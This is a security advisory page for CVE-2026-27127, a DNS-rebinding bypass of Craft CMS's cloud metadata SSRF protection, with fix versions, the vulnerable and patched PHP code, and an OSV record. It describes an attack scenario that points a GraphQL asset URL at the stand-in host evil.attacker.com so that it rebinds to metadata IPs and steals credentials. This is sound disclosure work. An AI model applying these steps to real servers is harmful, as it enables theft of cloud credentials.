CVE-2026-27127: Craftcms/cms Craft CMS Has Cloud Metadata Vulnerability

HIGH
Advisory Identifier: GHSA-gp2f-7wcm-5fhx
Share
CWE-367
Published
Advisory Summary

CVE-2026-27127 is a HIGH craft cms has cloud metadata vulnerability (CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition) affecting Craftcms/cms libraries in the Packagist ecosystem. The issue involves craft cms has cloud metadata ssrf protection bypass via dns rebinding. Remediation is available by upgrading affected packages to version 5.8.23, 4.16.19.

CVE-2026-27127 at a Glance

CVE Identifier CVE-2026-27127
GHSA Identifier GHSA-gp2f-7wcm-5fhx
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Affected Product Craftcms/cms
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-27127

To remediate this vulnerability, upgrade all affected Craftcms/cms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

craftcms/cms fixed: 5.8.23 
Upgrade craftcms/cms to 5.8.23
craftcms/cms fixed: 4.16.19 
Upgrade craftcms/cms to 4.16.19
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

inspect dependencies for craftcms/cms

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-27127, inspect your project dependencies for Craftcms/cms:

inspect dependencies for craftcms/cms

Analyze the terminal output to locate any version of Craftcms/cms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.8.23), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition, where the product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. In Craftcms/cms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The SSRF validation in Craft CMS’s GraphQL Asset mutation performs DNS resolution **separately** from the HTTP request. This Time-of-Check-Time-of-Use (TOCTOU) vulnerability enables DNS rebinding attacks, where an attacker’s DNS server returns different IP addresses for validation compared to the actual request. This is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)) that allows access to all blocked IPs, not just IPv6 endpoints. ## Severity Bypass of cloud metadata SSRF protection for all blocked IPs ## Required Permissions Exploitation requires GraphQL schema permissions for: - Edit assets in the `<VolumeName>` volume - Create assets in the `<VolumeName>` volume These permissions may be granted to: - Authenticated users with appropriate GraphQL schema access - Public Schema (if misconfigured with write permissions) --- ## Technical Details ### Vulnerable Code Flow The code at `src/gql/resolvers/mutations/Asset.php` performs two separate DNS lookups: ```php // VALIDATION PHASE: First DNS resolution at time T1 private function validateHostname(string $url): bool { $hostname = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($hostname); // DNS Lookup #1 - Returns safe IP if (in_array($ip, [ '169.254.169.254', // AWS, GCP, Azure IMDS '169.254.170.2', // AWS ECS metadata '100.100.100.200', // Alibaba Cloud '192.0.0.192', // Oracle Cloud ])) { return false; // Check passes - IP looks safe } return true; } // ... time gap between validation and request ... // REQUEST PHASE: Second DNS resolution at time T2 (inside Guzzle) $response = $client->get($url); // DNS Lookup #2 - Guzzle resolves DNS AGAIN // Now returns 169.254.169.254! ``` ### Root Cause Two separate DNS lookups occur: 1. **Validation**: `gethostbyname()` in `validateHostname()` 2. **Request**: Guzzle's internal DNS resolution via libcurl An attacker controlling a DNS server can return different IPs for each query. ### Bypass Mechanism ``` +-----------------------------------------------------------------------------+ | Attacker's DNS Server: evil.attacker.com | +-----------------------------------------------------------------------------+ | Query 1 (Validation - T1): | | Request: A record for evil.attacker.com | | Response: 1.2.3.4 (safe IP, TTL: 0) | | Result: Validation PASSES | +-----------------------------------------------------------------------------+ | Query 2 (Guzzle Request - T2): | | Request: A record for evil.attacker.com | | Response: 169.254.169.254 (metadata IP, TTL: 0) | | Result: Request goes to blocked IP -> CREDENTIALS STOLEN | +-----------------------------------------------------------------------------+ ``` --- ## Target Endpoints via DNS Rebinding DNS rebinding allows access to all blocked IPs: | Target | Rebind To | Impact | |--------|-----------|--------| | **AWS IMDS** | `169.254.169.254` | IAM credentials, instance identity | | **AWS ECS** | `169.254.170.2` | Container credentials | | **GCP Metadata** | `169.254.169.254` | Service account tokens | | **Azure Metadata** | `169.254.169.254` | Managed identity tokens | | **Alibaba Cloud** | `100.100.100.200` | Instance credentials | | **Oracle Cloud** | `192.0.0.192` | Instance metadata | | **Internal Services** | `127.0.0.1`, `10.x.x.x` | Internal APIs, databases | --- ### Attack Scenario 1. Attacker sets up DNS server with alternating responses 2. Attacker sends mutation with `url: "http://evil.attacker.com/latest/meta-data/"` 3. First DNS query returns safe IP (e.g., `1.2.3.4`) → validation passes 4. Second DNS query returns metadata IP (`169.254.169.254`) → request to metadata 5. Attacker retrieves credentials from ANY cloud provider 6. **Attacker can now achieve code execution by creating new instances with their SSH key** --- ## Remediation ### Fix: DNS Pinning with CURLOPT_RESOLVE Pin the DNS resolution - use the same resolved IP for both validation and request: ```php private function validateHostname(string $url): bool { $hostname = parse_url($url, PHP_URL_HOST); // Resolve once $ip = gethostbyname($hostname); // Validate the resolved IP if (in_array($ip, [ '169.254.169.254', '169.254.170.2', '100.100.100.200', '192.0.0.192', ])) { return false; } // Store for later use $this->pinnedDNS[$hostname] = $ip; return true; } // When making the request - CRITICAL: Use pinned IP protected function makeRequest(string $url): ResponseInterface { $hostname = parse_url($url, PHP_URL_HOST); $ip = $this->pinnedDNS[$hostname] ?? null; $options = []; if ($ip) { // Force Guzzle/curl to use the SAME IP we validated $options['curl'] = [ CURLOPT_RESOLVE => [ "$hostname:80:$ip", "$hostname:443:$ip" ] ]; } return $this->client->get($url, $options); } ``` ### Alternative: Single Resolution with Immediate Use ```php // Resolve to IP and use IP directly in URL $ip = gethostbyname($hostname); if (in_array($ip, $blockedIPs)) { return false; } // Make request directly to IP with Host header $client->get("http://$ip" . parse_url($url, PHP_URL_PATH), [ 'headers' => [ 'Host' => $hostname ] ]); ``` ### Additional Mitigations | Mitigation | Description | |------------|-------------| | DNS Pinning (CURLOPT_RESOLVE) | Force same IP for validation and request | | Single IP-based request | Use resolved IP directly in URL | | Implement IMDSv2 | Requires token header (infrastructure-level) | | Network egress filtering | Block metadata IPs at network level | --- ## Resources - https://github.com/craftcms/cms/commit/a4cf3fb63bba3249cf1e2882b18a2d29e77a8575 - [GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437) - [DNSrebinder](https://github.com/mogwailabs/DNSrebinder) - Lightweight Python DNS server for testing DNS rebinding vulnerabilities; responds with legitimate IP for first N queries, then rebinds to target IP - [Singularity DNS Rebinding Tool](https://github.com/nccgroup/singularity) - [rbndr DNS Rebinding Service](https://github.com/taviso/rbndr) - [DNS Rebinding Attacks Explained](https://unit42.paloaltonetworks.com/dns-rebinding/) - [CURLOPT_RESOLVE Documentation](https://curl.se/libcurl/c/CURLOPT_RESOLVE.html) - OWASP SSRF Prevention Cheat Sheet

CVE-2026-27127 Affected Craftcms/cms Versions

2 component(s)
Fixed Versions:
5.8.234.16.19
Product / Package Ecosystem Affected Versions Fixed Version
craftcms/cms
 Packagist
≥ 5.0.0-RC1
< 5.8.23
5.8.23
craftcms/cms
 Packagist
≥ 3.5.0
< 4.16.19
4.16.19

References

GitHub Advisory / Wiki ADVISORY
https://github.com/craftcms/cms/security/advisories/GHSA-gp2f-7wcm-5fhx
GitHub Advisory / Wiki ADVISORY
https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc
NVD — CVE-2026-27127 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-27127
Security Fix Commit FIX COMMIT
https://github.com/craftcms/cms/commit/a4cf3fb63bba3249cf1e2882b18a2d29e77a8575
curl.se/libcurl/c/curlopt_r... WEB
https://curl.se/libcurl/c/CURLOPT_RESOLVE.html
Craftcms/cms Source Repository REPOSITORY
https://github.com/craftcms/cms
Craftcms/cms Source Repository REPOSITORY
https://github.com/mogwailabs/DNSrebinder
Craftcms/cms Source Repository REPOSITORY
https://github.com/nccgroup/singularity
Craftcms/cms Source Repository REPOSITORY
https://github.com/taviso/rbndr
unit42.paloaltonetworks.com/dns-rebinding WEB
https://unit42.paloaltonetworks.com/dns-rebinding

Frequently Asked Questions

What is CVE-2026-27127?
CVE-2026-27127 is a security vulnerability in Craftcms/cms involving Craft CMS has Cloud Metadata SSRF Protection Bypass via DNS Rebinding under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.
Which Craftcms/cms versions are affected?
Affected versions include releases prior to 5.8.23, 4.16.19 across affected packages: craftcms/cms.
What version fixes CVE-2026-27127?
Upgrading to 5.8.23, 4.16.19 (or the latest patched release for your respective branch) resolves the vulnerability.
Is craftcms/cms affected?
Yes, craftcms/cms is affected in releases prior to 5.8.23, 4.16.19. Upgrade your dependency to 5.8.23, 4.16.19 or later.
What CWE is associated with CVE-2026-27127?
CVE-2026-27127 is classified under CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.).
How can I check Packagist dependencies for CVE-2026-27127?
Run the dependency tree command: 'inspect dependencies for craftcms/cms'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gp2f-7wcm-5fhx",
  "modified" : "2026-02-27T21:49:23Z",
  "published" : "2026-02-23T22:16:01Z",
  "aliases" : [ "CVE-2026-27127" ],
  "summary" : "Craft CMS has Cloud Metadata SSRF Protection Bypass via DNS Rebinding",
  "details" : "## Summary\n\nThe SSRF validation in Craft CMS’s GraphQL Asset mutation performs DNS resolution **separately** from the HTTP request. This Time-of-Check-Time-of-Use (TOCTOU) vulnerability enables DNS rebinding attacks, where an attacker’s DNS server returns different IP addresses for validation compared to the actual request.\n\nThis is a bypass of the security fix for CVE-2025-68437 ([GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc)) that allows access to all blocked IPs, not just IPv6 endpoints.\n\n## Severity\n\nBypass of cloud metadata SSRF protection for all blocked IPs\n\n## Required Permissions\n\nExploitation requires GraphQL schema permissions for:\n- Edit assets in the `<VolumeName>` volume\n- Create assets in the `<VolumeName>` volume\n\nThese permissions may be granted to:\n- Authenticated users with appropriate GraphQL schema access\n- Public Schema (if misconfigured with write permissions)\n\n---\n\n## Technical Details\n\n### Vulnerable Code Flow\n\nThe code at `src/gql/resolvers/mutations/Asset.php` performs two separate DNS lookups:\n\n```php\n// VALIDATION PHASE: First DNS resolution at time T1\nprivate function validateHostname(string $url): bool\n{\n    $hostname = parse_url($url, PHP_URL_HOST);\n    $ip = gethostbyname($hostname);  // DNS Lookup #1 - Returns safe IP\n\n    if (in_array($ip, [\n        '169.254.169.254',   // AWS, GCP, Azure IMDS\n        '169.254.170.2',     // AWS ECS metadata\n        '100.100.100.200',   // Alibaba Cloud\n        '192.0.0.192',       // Oracle Cloud\n    ])) {\n        return false;  // Check passes - IP looks safe\n    }\n    return true;\n}\n\n// ... time gap between validation and request ...\n\n// REQUEST PHASE: Second DNS resolution at time T2 (inside Guzzle)\n$response = $client->get($url);  // DNS Lookup #2 - Guzzle resolves DNS AGAIN\n                                  // Now returns 169.254.169.254!\n```\n\n### Root Cause\n\nTwo separate DNS lookups occur:\n1. **Validation**: `gethostbyname()` in `validateHostname()`\n2. **Request**: Guzzle's internal DNS resolution via libcurl\n\nAn attacker controlling a DNS server can return different IPs for each query.\n\n### Bypass Mechanism\n\n```\n+-----------------------------------------------------------------------------+\n| Attacker's DNS Server: evil.attacker.com                                    |\n+-----------------------------------------------------------------------------+\n| Query 1 (Validation - T1):                                                  |\n|   Request:  A record for evil.attacker.com                                  |\n|   Response: 1.2.3.4 (safe IP, TTL: 0)                                       |\n|   Result:   Validation PASSES                                               |\n+-----------------------------------------------------------------------------+\n| Query 2 (Guzzle Request - T2):                                              |\n|   Request:  A record for evil.attacker.com                                  |\n|   Response: 169.254.169.254 (metadata IP, TTL: 0)                           |\n|   Result:   Request goes to blocked IP -> CREDENTIALS STOLEN                |\n+-----------------------------------------------------------------------------+\n```\n\n---\n\n## Target Endpoints via DNS Rebinding\n\nDNS rebinding allows access to all blocked IPs:\n\n| Target | Rebind To | Impact |\n|--------|-----------|--------|\n| **AWS IMDS** | `169.254.169.254` | IAM credentials, instance identity |\n| **AWS ECS** | `169.254.170.2` | Container credentials |\n| **GCP Metadata** | `169.254.169.254` | Service account tokens |\n| **Azure Metadata** | `169.254.169.254` | Managed identity tokens |\n| **Alibaba Cloud** | `100.100.100.200` | Instance credentials |\n| **Oracle Cloud** | `192.0.0.192` | Instance metadata |\n| **Internal Services** | `127.0.0.1`, `10.x.x.x` | Internal APIs, databases |\n\n---\n\n### Attack Scenario\n\n1. Attacker sets up DNS server with alternating responses\n2. Attacker sends mutation with `url: \"http://evil.attacker.com/latest/meta-data/\"`\n3. First DNS query returns safe IP (e.g., `1.2.3.4`) → validation passes\n4. Second DNS query returns metadata IP (`169.254.169.254`) → request to metadata\n5. Attacker retrieves credentials from ANY cloud provider\n6. **Attacker can now achieve code execution by creating new instances with their SSH key**\n\n---\n\n## Remediation\n\n### Fix: DNS Pinning with CURLOPT_RESOLVE\n\nPin the DNS resolution - use the same resolved IP for both validation and request:\n\n```php\nprivate function validateHostname(string $url): bool\n{\n    $hostname = parse_url($url, PHP_URL_HOST);\n\n    // Resolve once\n    $ip = gethostbyname($hostname);\n\n    // Validate the resolved IP\n    if (in_array($ip, [\n        '169.254.169.254', '169.254.170.2',\n        '100.100.100.200', '192.0.0.192',\n    ])) {\n        return false;\n    }\n\n    // Store for later use\n    $this->pinnedDNS[$hostname] = $ip;\n\n    return true;\n}\n\n// When making the request - CRITICAL: Use pinned IP\nprotected function makeRequest(string $url): ResponseInterface\n{\n    $hostname = parse_url($url, PHP_URL_HOST);\n    $ip = $this->pinnedDNS[$hostname] ?? null;\n\n    $options = [];\n    if ($ip) {\n        // Force Guzzle/curl to use the SAME IP we validated\n        $options['curl'] = [\n            CURLOPT_RESOLVE => [\n                \"$hostname:80:$ip\",\n                \"$hostname:443:$ip\"\n            ]\n        ];\n    }\n\n    return $this->client->get($url, $options);\n}\n```\n\n### Alternative: Single Resolution with Immediate Use\n\n```php\n// Resolve to IP and use IP directly in URL\n$ip = gethostbyname($hostname);\n\nif (in_array($ip, $blockedIPs)) {\n    return false;\n}\n\n// Make request directly to IP with Host header\n$client->get(\"http://$ip\" . parse_url($url, PHP_URL_PATH), [\n    'headers' => [\n        'Host' => $hostname\n    ]\n]);\n```\n\n### Additional Mitigations\n\n| Mitigation | Description |\n|------------|-------------|\n| DNS Pinning (CURLOPT_RESOLVE) | Force same IP for validation and request |\n| Single IP-based request | Use resolved IP directly in URL |\n| Implement IMDSv2 | Requires token header (infrastructure-level) |\n| Network egress filtering | Block metadata IPs at network level |\n\n---\n\n## Resources\n\n- https://github.com/craftcms/cms/commit/a4cf3fb63bba3249cf1e2882b18a2d29e77a8575\n- [GHSA-x27p-wfqw-hfcc](https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc) - Original SSRF vulnerability (CVE-2025-68437)\n- [DNSrebinder](https://github.com/mogwailabs/DNSrebinder) - Lightweight Python DNS server for testing DNS rebinding vulnerabilities; responds with legitimate IP for first N queries, then rebinds to target IP\n- [Singularity DNS Rebinding Tool](https://github.com/nccgroup/singularity)\n- [rbndr DNS Rebinding Service](https://github.com/taviso/rbndr)\n- [DNS Rebinding Attacks Explained](https://unit42.paloaltonetworks.com/dns-rebinding/)\n- [CURLOPT_RESOLVE Documentation](https://curl.se/libcurl/c/CURLOPT_RESOLVE.html)\n- OWASP SSRF Prevention Cheat Sheet",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.0-RC1"
      }, {
        "fixed" : "5.8.23"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.8.22"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "craftcms/cms"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.5.0"
      }, {
        "fixed" : "4.16.19"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.16.18"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-gp2f-7wcm-5fhx"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/security/advisories/GHSA-x27p-wfqw-hfcc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-27127"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/craftcms/cms/commit/a4cf3fb63bba3249cf1e2882b18a2d29e77a8575"
  }, {
    "type" : "WEB",
    "url" : "https://curl.se/libcurl/c/CURLOPT_RESOLVE.html"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/craftcms/cms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mogwailabs/DNSrebinder"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nccgroup/singularity"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/taviso/rbndr"
  }, {
    "type" : "WEB",
    "url" : "https://unit42.paloaltonetworks.com/dns-rebinding"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-367" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-23T22:16:01Z",
    "nvd_published_at" : "2026-02-24T03:16:02Z"
  }
}